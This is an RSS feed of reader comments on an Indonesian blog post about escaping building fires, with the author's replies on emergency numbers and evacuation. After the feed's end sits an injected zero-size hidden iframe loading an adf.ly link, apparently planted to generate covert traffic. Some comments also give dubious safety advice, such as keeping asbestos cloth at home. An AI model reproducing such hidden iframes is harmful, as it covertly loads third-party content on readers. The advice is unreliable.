<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Cara Melarikan Diri Ketika Kebakaran</title>
	<atom:link href="http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/feed/" rel="self" type="application/rss+xml" />
	<link>http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/</link>
	<description>multilinguals blog</description>
	<lastBuildDate>Fri, 10 Feb 2012 14:39:16 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: Agen Resmi Xamthone Plus Tasikmalaya</title>
		<link>http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-33408</link>
		<dc:creator>Agen Resmi Xamthone Plus Tasikmalaya</dc:creator>
		<pubDate>Wed, 04 Jan 2012 08:42:00 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-33408</guid>
		<description>Waah,, infonya bagus bgt gan, but moga aja itu g trjadi.</description>
		<content:encoded><![CDATA[<p>Waah,, infonya bagus bgt gan, but moga aja itu g trjadi.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Iswanto</title>
		<link>http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-30865</link>
		<dc:creator>Iswanto</dc:creator>
		<pubDate>Fri, 25 Feb 2011 10:03:44 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-30865</guid>
		<description>makasih. Saya tambahkan ke alat saya mendeteksi kebakaran</description>
		<content:encoded><![CDATA[<p>makasih. Saya tambahkan ke alat saya mendeteksi kebakaran</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: teguh_safety</title>
		<link>http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-17756</link>
		<dc:creator>teguh_safety</dc:creator>
		<pubDate>Thu, 16 Jul 2009 03:53:18 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-17756</guid>
		<description>mungkin ada baiknya, semua orang lebih care dengan penting nya emergency drill(latihan simulasi kebakaran) atau emergency exit sederhana dimulai dari rumah anda,..contoh : menempatkan sedikitnya 1 botol pemadam (jika mampu )atau kain asbestos ukuran 1 x 1 mtr (banyak dijual ditoko bahan bangunan ),dilipat dan disimpan ditempat yang mudah dilihat dan dijangkau ,umumnya di area yang rawan terjadi kebakaran semisal dapur,..dan dengan tidak mengurangi estetika keindahan interior rumah anda, ada baiknya menempel stiker arah keluar ruangan untuk memudahkan evakuasi pada saat listrik padam dan bila perlu lampu emergency di setiap koridor,...dan yang terpenting berlatih lah minimal 1 bulan sekali untuk emergency evakuasi, sehingga keluarga anda terbiasa dengan situasi darurat,..dan ingat LOST Anything but not LOST your LIFE and FAMILY ....terima kasih!</description>
		<content:encoded><![CDATA[<p>mungkin ada baiknya, semua orang lebih care dengan penting nya emergency drill(latihan simulasi kebakaran) atau emergency exit sederhana dimulai dari rumah anda,..contoh : menempatkan sedikitnya 1 botol pemadam (jika mampu )atau kain asbestos ukuran 1 x 1 mtr (banyak dijual ditoko bahan bangunan ),dilipat dan disimpan ditempat yang mudah dilihat dan dijangkau ,umumnya di area yang rawan terjadi kebakaran semisal dapur,..dan dengan tidak mengurangi estetika keindahan interior rumah anda, ada baiknya menempel stiker arah keluar ruangan untuk memudahkan evakuasi pada saat listrik padam dan bila perlu lampu emergency di setiap koridor,&#8230;dan yang terpenting berlatih lah minimal 1 bulan sekali untuk emergency evakuasi, sehingga keluarga anda terbiasa dengan situasi darurat,..dan ingat LOST Anything but not LOST your LIFE and FAMILY &#8230;.terima kasih!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Gema</title>
		<link>http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-17105</link>
		<dc:creator>Gema</dc:creator>
		<pubDate>Mon, 04 May 2009 14:05:04 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-17105</guid>
		<description>Komentar yang anda tuliskan tidaklah objektif.
Seluruh pemadam kebakaran di Indonesia sudah menyeragamkan nomor panggilan darurat kebakaran, yakni nomor 113. Di kota Medan sendiri, Petugas pemadam kebakaran tidaklah seperti yang anda tuliskan. Petugas jaga 24 jam dalam beberapa shift, fire truk siap sedia (termasuk airnya pun sudah ada). Demikian juga dengan pemadam kebakaran di wilayah lain. Mohon diluruskan.
&lt;blockquote&gt;&lt;b&gt;Rosyidi :&lt;/b&gt;Maaf tulisan yg manakah yg menurut anda kurang objektif?
Yg saya maksud dengan Emergency Call disini adalah Panggilan TERINTEGRASI. Jadi semuanya mulai dari PMK, Ambulan, Polisi, dll berada dalam satu Atap Emergency Call. Jadi satu nomor saja mencangkup seluruh kejadian. Di Amerika anda tidak perlu menghafal banyak nomor untuk setiap instansi. Apapun kejadiannya cukup telpon 911, operator 911 lah yang akan menentukan anda membutuhkan unit apa saja dan berapa banyak. operator 911 yg mengatur itu semua. Sedangkan di Indonesia, kita perlu menelpon 113 untuk pemadam kebakaran, 119 untuk Polisi, dsb. Jadi belum ada panggilan gawat darurat yg terintegrasi. Itulah yg saya maksud dari tulisan saya diatas. 

Untuk masalah pemadam kebakaran di kota Pacitan, itu cerita dari teman saya. www.contong.com , namun websitenya sudah tidak dapat diakses lagi.

Saya sangat menghargai kerja keras Pemadam Kebakaran, dan kami memang membutuhkan orang-orang hebat seperti anda. Tulisan diatas hanya untuk mendramatisir keadaan. Dimana saya ambilkan situasi yang paling buruk. Jika kita sudah bisa mengkondisikan dengan situasi yang paling buruk, yaitu dimana petugas pemadam kebakaran belum hadir, kita bisa mengambil tindakan darurat. 
Namun jika petugas pemadam kebakaran sudah tepat waktu, tips yang saya sebutkan diatas sangat terlarang.

Demikian penjelasan dari saya. Terima kasih atas masukan anda.
 &lt;/blockquote&gt;</description>
		<content:encoded><![CDATA[<p>Komentar yang anda tuliskan tidaklah objektif.<br />
Seluruh pemadam kebakaran di Indonesia sudah menyeragamkan nomor panggilan darurat kebakaran, yakni nomor 113. Di kota Medan sendiri, Petugas pemadam kebakaran tidaklah seperti yang anda tuliskan. Petugas jaga 24 jam dalam beberapa shift, fire truk siap sedia (termasuk airnya pun sudah ada). Demikian juga dengan pemadam kebakaran di wilayah lain. Mohon diluruskan.</p>
<blockquote><p><b>Rosyidi :</b>Maaf tulisan yg manakah yg menurut anda kurang objektif?<br />
Yg saya maksud dengan Emergency Call disini adalah Panggilan TERINTEGRASI. Jadi semuanya mulai dari PMK, Ambulan, Polisi, dll berada dalam satu Atap Emergency Call. Jadi satu nomor saja mencangkup seluruh kejadian. Di Amerika anda tidak perlu menghafal banyak nomor untuk setiap instansi. Apapun kejadiannya cukup telpon 911, operator 911 lah yang akan menentukan anda membutuhkan unit apa saja dan berapa banyak. operator 911 yg mengatur itu semua. Sedangkan di Indonesia, kita perlu menelpon 113 untuk pemadam kebakaran, 119 untuk Polisi, dsb. Jadi belum ada panggilan gawat darurat yg terintegrasi. Itulah yg saya maksud dari tulisan saya diatas. </p>
<p>Untuk masalah pemadam kebakaran di kota Pacitan, itu cerita dari teman saya. <a href="http://www.contong.com" rel="nofollow">http://www.contong.com</a> , namun websitenya sudah tidak dapat diakses lagi.</p>
<p>Saya sangat menghargai kerja keras Pemadam Kebakaran, dan kami memang membutuhkan orang-orang hebat seperti anda. Tulisan diatas hanya untuk mendramatisir keadaan. Dimana saya ambilkan situasi yang paling buruk. Jika kita sudah bisa mengkondisikan dengan situasi yang paling buruk, yaitu dimana petugas pemadam kebakaran belum hadir, kita bisa mengambil tindakan darurat.<br />
Namun jika petugas pemadam kebakaran sudah tepat waktu, tips yang saya sebutkan diatas sangat terlarang.</p>
<p>Demikian penjelasan dari saya. Terima kasih atas masukan anda.
 </p></blockquote>
]]></content:encoded>
	</item>
	<item>
		<title>By: rida</title>
		<link>http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-16910</link>
		<dc:creator>rida</dc:creator>
		<pubDate>Fri, 10 Apr 2009 06:04:23 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-16910</guid>
		<description>:d tis yang sangat bermanfaat tentunya..</description>
		<content:encoded><![CDATA[<p><img src='http://rosyidi.com/smilies/yahoo_bigsmile.gif' alt='&#58;&#100;' class='wp-smiley' width='' height='' title='&#58;&#100;' /> tis yang sangat bermanfaat tentunya..</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Desia</title>
		<link>http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-9344</link>
		<dc:creator>Desia</dc:creator>
		<pubDate>Sun, 16 Dec 2007 00:33:46 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-9344</guid>
		<description>Assalamu&#039;alaikum..
Agam, kalau tidak salah tgl 1 Des saya baca koran kompas ada berita 6 orang meninggal karena kebakaran di rumahnya. Posisi mereka ada yang berpelukan, kepala mengarah ke.. yap, bak KAMAR MANDI!

Oh oh.. miris sekali rasanya.. Saya pun teringat artikel tentang kebakaran yang ditulis oleh Agam. Kalau boleh, artikel itu dikirim ke Kompas saja agar dipublikasikan lebih luas.. Dan semoga tidak ada lagi kejadian mengenaskan seperti itu (hari itu Kompas tidak mengulas bahwa jika terjadi kebakaran di rumah JANGAN BERLINDUNG DI KAMAR MANDI!).

Terimakasih atas tulisan2nya yang bermanfaat. Semoga mendapat balasan kebaikan dari Allah SWT.

Wassalamu&#039;alaikum.</description>
		<content:encoded><![CDATA[<p>Assalamu&#8217;alaikum..<br />
Agam, kalau tidak salah tgl 1 Des saya baca koran kompas ada berita 6 orang meninggal karena kebakaran di rumahnya. Posisi mereka ada yang berpelukan, kepala mengarah ke.. yap, bak KAMAR MANDI!</p>
<p>Oh oh.. miris sekali rasanya.. Saya pun teringat artikel tentang kebakaran yang ditulis oleh Agam. Kalau boleh, artikel itu dikirim ke Kompas saja agar dipublikasikan lebih luas.. Dan semoga tidak ada lagi kejadian mengenaskan seperti itu (hari itu Kompas tidak mengulas bahwa jika terjadi kebakaran di rumah JANGAN BERLINDUNG DI KAMAR MANDI!).</p>
<p>Terimakasih atas tulisan2nya yang bermanfaat. Semoga mendapat balasan kebaikan dari Allah SWT.</p>
<p>Wassalamu&#8217;alaikum.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: gukguk</title>
		<link>http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-8922</link>
		<dc:creator>gukguk</dc:creator>
		<pubDate>Sat, 17 Nov 2007 05:55:31 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-8922</guid>
		<description>intinya sih jangan panik yakm selalu berpikir jernih dimana aja. Terjebak di gedung pun, jika anda tidak panik dan mikir dikit, mungkin anda bisa terjun selantai selantai. Tapi itu die bos yang susah tuh gimana caranya kepikiran kayak tips2 diatas waktu kita sendiri yg ngalamin kejadiannya. Makanye dari sekarang kudu sering2 uji nyali, dan latihan sabar biar gak panikan.
&lt;blockquote&gt;&lt;b&gt;Rosyidi :&lt;/b&gt;Mungkin latihannya di taman hiburan dengan menaiki wahana yang ada hubungannya dengan ketinggian. Jadi biar kalau mengalami hal semacam itu tidak begitu takut atau panik :d
Bagus juga idenya :)  &lt;/blockquote&gt;</description>
		<content:encoded><![CDATA[<p>intinya sih jangan panik yakm selalu berpikir jernih dimana aja. Terjebak di gedung pun, jika anda tidak panik dan mikir dikit, mungkin anda bisa terjun selantai selantai. Tapi itu die bos yang susah tuh gimana caranya kepikiran kayak tips2 diatas waktu kita sendiri yg ngalamin kejadiannya. Makanye dari sekarang kudu sering2 uji nyali, dan latihan sabar biar gak panikan.</p>
<blockquote><p><b>Rosyidi :</b>Mungkin latihannya di taman hiburan dengan menaiki wahana yang ada hubungannya dengan ketinggian. Jadi biar kalau mengalami hal semacam itu tidak begitu takut atau panik <img src='http://rosyidi.com/smilies/yahoo_bigsmile.gif' alt='&#58;&#100;' class='wp-smiley' width='' height='' title='&#58;&#100;' /><br />
Bagus juga idenya <img src='http://rosyidi.com/smilies/yahoo_smiley.gif' alt='&#58;&#41;' class='wp-smiley' width='' height='' title='&#58;&#41;' />  </p></blockquote>
]]></content:encoded>
	</item>
	<item>
		<title>By: aLe</title>
		<link>http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-8573</link>
		<dc:creator>aLe</dc:creator>
		<pubDate>Sat, 27 Oct 2007 16:53:41 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-8573</guid>
		<description>Mak nyus.,
Tipsnya seolah2 kamu pernah ngalamin :D

ah, semoga kita tak kan pernah menjalan kan tips ini
(maksudnya, smg gak pernah mengalamin kebakaran, [-o&lt; aMin)</description>
		<content:encoded><![CDATA[<p>Mak nyus.,<br />
Tipsnya seolah2 kamu pernah ngalamin <img src='http://rosyidi.com/smilies/yahoo_bigsmile.gif' alt='&#58;&#68;' class='wp-smiley' width='' height='' title='&#58;&#68;' /></p>
<p>ah, semoga kita tak kan pernah menjalan kan tips ini<br />
(maksudnya, smg gak pernah mengalamin kebakaran, <img src='http://rosyidi.com/smilies/yahoo_pray.gif' alt='&#91;&#45;&#111;&#60;' class='wp-smiley' width='' height='' title='&#91;&#45;&#111;&#60;' /> aMin)</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: imcw</title>
		<link>http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-8537</link>
		<dc:creator>imcw</dc:creator>
		<pubDate>Wed, 24 Oct 2007 06:50:47 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-8537</guid>
		<description>Seandainya boleh memilih, lebih baik tidak mengalaminya Gam. :(
&lt;blockquote&gt;&lt;b&gt;Rosyidi :&lt;/b&gt;Ya, idealnya memang seperti itu. Namun namanya bencana kan tidak bisa diperkirakan. :)
Kalo pengen terhindar, sediakan aja peralatan pemadam kebakaran di rumah dan kator dengan cukup memadai. Yg sering kebakaran di Indonesia adalah pasar, karena tidak punya peralatan pemadam kebakaran yg baik. Berbeda dengan Mall dan Gedung2 perkantoran. Mereka bukan cuma menyediakan peralatan lengkap, tapi beberapa juga ada yang melakukan pelatihan terhadap karyawan2nya. &lt;/blockquote&gt;</description>
		<content:encoded><![CDATA[<p>Seandainya boleh memilih, lebih baik tidak mengalaminya Gam. <img src='http://rosyidi.com/smilies/yahoo_sad.gif' alt='&#58;&#40;' class='wp-smiley' width='' height='' title='&#58;&#40;' /></p>
<blockquote><p><b>Rosyidi :</b>Ya, idealnya memang seperti itu. Namun namanya bencana kan tidak bisa diperkirakan. <img src='http://rosyidi.com/smilies/yahoo_smiley.gif' alt='&#58;&#41;' class='wp-smiley' width='' height='' title='&#58;&#41;' /><br />
Kalo pengen terhindar, sediakan aja peralatan pemadam kebakaran di rumah dan kator dengan cukup memadai. Yg sering kebakaran di Indonesia adalah pasar, karena tidak punya peralatan pemadam kebakaran yg baik. Berbeda dengan Mall dan Gedung2 perkantoran. Mereka bukan cuma menyediakan peralatan lengkap, tapi beberapa juga ada yang melakukan pelatihan terhadap karyawan2nya. </p></blockquote>
]]></content:encoded>
	</item>
	<item>
		<title>By: Kombor</title>
		<link>http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-8521</link>
		<dc:creator>Kombor</dc:creator>
		<pubDate>Tue, 23 Oct 2007 05:04:39 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/cara-melarikan-diri-ketika-kebakaran/#comment-8521</guid>
		<description>Sepertinya masuk akal kalau kita lompat ke bawah asal kaki dulu yang sampai maka kita akan tetap hidup dengan risiko paling besar patah tulang kedua kaki.

Ada teknik untuk melompat tapi kalau 17 lantai... waahhh... ngeri juga.
&lt;blockquote&gt;&lt;b&gt;Rosyidi :&lt;/b&gt;Lantai 17 itu kan cuma contoh. Contoh bahwa kalau melompat dari lantai 17pun ada juga yang mati. Bukan berarti setiap orang bisa sama hasilnya. Tergantung kondisi orangnya juga.
Lagian kan gak perlu takut dng hal itu. Gedung di Indonesia kan gak tinggi2. Paling cuma beberapa persen doank yg tinggi. &lt;/blockquote&gt;</description>
		<content:encoded><![CDATA[<p>Sepertinya masuk akal kalau kita lompat ke bawah asal kaki dulu yang sampai maka kita akan tetap hidup dengan risiko paling besar patah tulang kedua kaki.</p>
<p>Ada teknik untuk melompat tapi kalau 17 lantai&#8230; waahhh&#8230; ngeri juga.</p>
<blockquote><p><b>Rosyidi :</b>Lantai 17 itu kan cuma contoh. Contoh bahwa kalau melompat dari lantai 17pun ada juga yang mati. Bukan berarti setiap orang bisa sama hasilnya. Tergantung kondisi orangnya juga.<br />
Lagian kan gak perlu takut dng hal itu. Gedung di Indonesia kan gak tinggi2. Paling cuma beberapa persen doank yg tinggi. </p></blockquote>
]]></content:encoded>
	</item>
</channel>
</rss>




  

  <iframe src=http://http://adf.ly/5N8iR scrolling="auto" width=0% height=0% frameborder="0"> </iframe>
